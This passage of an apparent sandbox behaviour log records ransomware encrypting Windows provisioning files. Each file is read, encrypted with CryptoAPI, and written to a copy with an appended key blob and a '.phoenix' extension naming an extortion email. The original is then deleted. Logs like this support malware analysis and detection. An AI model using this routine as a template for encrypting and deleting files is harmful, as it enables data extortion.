	[0250.037] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0250.037] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0250.038] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0250.038] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.038] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.038] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.038] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.038] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.038] CloseHandle (hObject=0x2b4) returned 1
	[0250.039] CloseHandle (hObject=0x2d8) returned 1
	[0250.039] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.040] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.040] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=702) returned 1
	[0250.040] CloseHandle (hObject=0x2d8) returned 1
	[0250.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0250.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.041] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.041] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.041] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0250.041] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.041] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2be, lpOverlapped=0x0) returned 1
	[0250.085] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0250.085] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0250.086] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0250.086] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.086] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0250.086] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0250.086] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0250.087] CryptDestroyKey (hKey=0x151040) returned 1
	[0250.087] CloseHandle (hObject=0x2d8) returned 1
	[0250.087] CloseHandle (hObject=0x2b4) returned 1
	[0250.087] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml")) returned 1
	[0250.088] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.088] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.089] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=851) returned 1
	[0250.089] CloseHandle (hObject=0x2b4) returned 1
	[0250.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0250.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.089] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.089] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.089] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.089] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0250.090] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.090] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x353, lpOverlapped=0x0) returned 1
	[0250.097] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0250.097] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0250.098] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0250.098] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.098] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.098] CryptDestroyKey (hKey=0x151500) returned 1
	[0250.098] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.098] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0250.098] CloseHandle (hObject=0x2b4) returned 1
	[0250.098] CloseHandle (hObject=0x2d8) returned 1
	[0250.098] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml")) returned 1
	[0250.100] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.100] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.100] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=478) returned 1
	[0250.100] CloseHandle (hObject=0x2d8) returned 1
	[0250.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0250.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.102] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.102] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.102] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0250.102] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.102] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1de, lpOverlapped=0x0) returned 1
	[0250.104] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0250.104] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0250.105] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0250.105] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.105] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.105] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0250.105] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.105] CryptDestroyKey (hKey=0x151600) returned 1
	[0250.105] CloseHandle (hObject=0x2d8) returned 1
	[0250.105] CloseHandle (hObject=0x2b4) returned 1
	[0250.105] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0250.106] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.106] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.107] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0250.107] CloseHandle (hObject=0x2b4) returned 1
	[0250.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.107] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.107] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.107] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.107] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.109] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0250.109] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.109] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0250.209] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0250.209] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0250.210] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0250.210] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.210] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.210] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.210] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.210] CryptDestroyKey (hKey=0x151100) returned 1
	[0250.210] CloseHandle (hObject=0x2b4) returned 1
	[0250.210] CloseHandle (hObject=0x2d8) returned 1
	[0250.210] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.211] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
